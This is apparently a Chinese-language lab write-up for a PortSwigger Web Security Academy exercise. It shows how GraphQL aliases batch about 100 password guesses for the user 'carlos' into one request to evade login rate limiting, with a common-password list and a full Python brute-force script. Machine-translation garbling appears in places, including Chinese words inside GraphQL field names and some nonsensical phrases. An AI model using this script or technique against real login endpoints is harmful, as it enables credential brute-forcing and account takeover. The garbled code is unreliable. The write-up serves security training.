> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-anti-brute-force-protection-bypass.md).
# GraphQL 防暴力破解保护绕过
面向 PortSwigger Web Security Academy 实验室的 GraphQL 防暴力破解保护绕过笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 绕过 GraphQL 暴力破解防护
#### 实验环境
实验室登录表单基于一个 API **GraphQL** 设置我们的 **速率限制**: 在多次错误尝试后，该端点会返回一个错误，提示你必须等待（例如 1 分钟）后才能再次尝试。
目的： **gravate 登录** 以……身份连接 **carlos**，使用身份验证实验室提供的密码列表。
```json
{
"query": "/nquery getBlogSummaries {/n getAllBlogPosts {/n image/n title/n summary/n id/n }/n}",
"operationName": "getBlogSummaries"
}
```
#### (1) GraphQL 请求观察
通过拦截连接，我们恢复出如下类型的 mutation：
```json
{
"query": "/n mutation login($input: LoginInput!) {/n login(input: $input) {/n token/n success/n }/n }",
"operationName": "login",
"variables": {
"input": {
"username": "carlos",
"password": "test"
}
}
}
```
在多次错误测试后，API 会返回一个限制错误：
```json
{
"errors": [
{
"path": [
"login"
],
"extensions": {
"message": "你已经进行了过多错误的登录尝试。请在 1 分钟后重试。"
},
"locations": [
{
"line": 3,
"column": 9
}
],
"message": "获取数据时发生异常（/login）：你已经进行了过多错误的登录尝试。请在 1 分钟后重试。"
}
],
"data": {
"login": null
}
}
```
### 2) 为什么要重复字段？
一个自然的想法是发送多个 `登录` 调用放在 **一次 mutation 中**.
身份验证实验室密码
123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow
但如果我们不加区分地重复同一个字段，GraphQL 会拒绝，因为这些字段会变得歧义（同一层级下名称相同）。
```graphql
mutation login($input: LoginInput!) {
login(input: $input) {
令牌
success
}
}
```
无效示例（结构错误 / 字段冲突）：
```graphql
mutation login {
login(input: { username: "carlos", password: "test" }) {
令牌
success
}
}
```
```graphql
mutation{
login(input: { username: "carlos", password: "test" }) {
令牌
success
}
}
login(input: { username: "carlos", password: "hack" }) {
令牌
success
}
}
```
### 3) 规避：使用别名
GraphQL 可以通过以下方式为每个调用重命名： **别名**。/ 因此，你可以执行 **在一个 HTTP 请求中进行多次登录尝试**，从而降低速率限制的影响
有效示例：
```graphql
mutation login{
loginTest: login(input: { username: "carlos", password: "test" }) {
令牌
success
}
loginHack: login(input: { username: "carlos", password: "hack" }) {
令牌
success
}
}
```
因此，API 会在一个窗口内处理多次测试，以限制脾脏一侧。
### 4) 自动化（脚本方法）
原理：
* 构建 `mutation login {... }`
* 按密码添加一行：
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* 发送请求
* 浏览 `data.login{i}` 以查找 `success: true`
```python
import requests
import time
url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
"Content-Type": "application/json",
"Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
"Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
"Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}
passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]
def brute_force_all_at_once():
print("[*] 正在创建包含所有密码的 GraphQL 查询...")
query = "mutation login {/n"
for i, pwd in enumerate(passwords):
query += f' login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n token/n success/n }}/n'
query += "}"
print(f"[*] 查询长度：{len(query)} 字符")
print(f"[*] 一次测试 {len(passwords)} 个密码...")
payload = {"query": query}
start_time = time.time()
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
for i, pwd in enumerate(passwords):
result = data.get("data", {}).get(f"login{i}")
if result and result.get("success"):
print(f"/n[+] 成功！")
print(f"[+] 用户名：carlos")
print(f"[+] 密码：{pwd}")
print(f"[+] 令牌：{result.get('token')}")
print(f"[+] 时间：{time.time() - start_time:.2f} 秒")
return True
else:
print("[-] 密码不在列表中")
else:
print(f"[-] HTTP 错误：{response.status_code}")
print(response.text[:200])
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败：{e}")
return False
if __name__ == "__main__":
print("=" * 50)
print("GraphQL 暴力破解攻击")
print("使用别名绕过速率限制")
print("=" * 50)
if brute_force_all_at_once():
print("/n[+] 攻击成功完成！")
else:
print("/n[-] 攻击失败")
```
找到的密码对应于 **carlos** 是：
.png?alt=media)
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